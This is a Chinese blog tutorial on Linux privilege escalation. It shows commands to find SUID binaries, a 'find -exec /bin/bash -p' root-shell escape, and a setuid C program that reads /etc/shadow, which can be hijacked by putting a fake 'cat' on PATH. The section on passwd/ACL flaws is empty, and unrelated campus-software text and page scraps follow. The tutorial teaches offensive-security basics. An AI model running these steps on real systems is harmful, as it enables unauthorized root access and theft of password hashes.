【网络攻防】Linux提权(待更)

Linux提权

1.利用suid提权

参考博客1
参考博客2
suid(set uid)是一种特殊权限,具有这种权限的文件在执行时会使调用者暂时获得该文件拥有者的权限。这种设置只针对于二进制可执行文件

(1)如何设置suid
chmod u+s filename //设置suid位
chmod u-s filename //去掉suid设置
(2)如何找到设置了suid的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
(3) suid提权

常见可以用来提权的程序有:nmap、vim、find、bash、more、less、nano、cp

这里用find举例
a.首先使用(2)中的命令查找有suid的程序

find可以添加-exec参数来对查找的结果进行处理:
b.find “一个已经存在的suid文件” -exec “whoami” ;
注:1.这个文件必须存在
2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。

该命令使用find查找该目录,并用whoami查看此时权限
请添加图片描述之后执行口令进入shell
c.

find filename -exec /bin/bash -p  \;

请添加图片描述

2.利用环境变量提权

参考博客

(1)创建拥有 suid 权限的程序

详情请看参考博客
比如创建内容为下的程序,编译后名为test-exp:

#include <stdlib.h>
#include <unistd.h>
int main()
{
    setuid(0);//run as root
    system("id");
    system("cat /etc/shadow");
    return 0;
}
(2)劫持环境变量
echo $PATH //查看系统环境变量

挑选一个目录,执行

echo "/bin/bash" > cat && chmod 777 cat //相当于构造了一个cat

把当前目录加入到环境变量,比如我选择/tmp目录,这个添加是临时的,当终端关闭时又会恢复原来的样子

export PATH=.:$PATH

因为在 suid程序中 中存在 system(“cat /etc/shadow”);,使用 cat 命令,因为 cat 命令被劫持成了 /bin/bash,就变成了 system("/bin/bash /etc/shadow),这个文件又是 SUID 文件以 root 权限执行,就直接切换至了 root 用户。

切换到有suid程序的目录下面,调出shell界面

./test-exp 

提权成功,可以执行命令。

3.passwd提权(利用acl配置缺陷)

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
智慧校园整体解决方案是响应国家教育信息化政策,结合教育改革和技术创新的产物。该方案以物联网、大数据、人工智能和移动互联技术为基础,旨在打造一个安全、高效、互动且环保的教育环境。方案强调从数字化校园向智慧校园的转变,通过自动数据采集、智能分析和按需服务,实现校园业务的智能化管理。 方案的总体设计原则包括应用至上、分层设计和互联互通,确保系统能够满足不同用户角色的需求,并实现数据和资源的整合与共享。框架设计涵盖了校园安全、管理、教学、环境等多个方面,构建了一个全面的校园应用生态系统。这包括智慧安全系统、校园身份识别、智能排课及选课系统、智慧学习系统、精品录播教室方案等,以支持个性化学习和教学评估。 建设内容突出了智慧安全和智慧管理的重要性。智慧安全管理通过分布式录播系统和紧急预案一键启动功能,增强校园安全预警和事件响应能力。智慧管理系统则利用物联网技术,实现人员和设备的智能管理,提高校园运营效率。 智慧教学部分,方案提供了智慧学习系统和精品录播教室方案,支持专业级学习硬件和智能化网络管理,促进个性化学习和教学资源的高效利用。同时,教学质量评估中心和资源应用平台的建设,旨在提升教学评估的科学性和教育资源的共享性。 智慧环境建设则侧重于基于物联网的设备管理,通过智慧教室管理系统实现教室环境的智能控制和能效管理,打造绿色、节能的校园环境。电子班牌和校园信息发布系统的建设,将作为智慧校园的核心和入口,提供教务、一卡通、图书馆等系统的集成信息。 总体而言,智慧校园整体解决方案通过集成先进技术,不仅提升了校园的信息化水平,而且优化了教学和管理流程,为学生、教师和家长提供了加便捷、个性化的教育体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值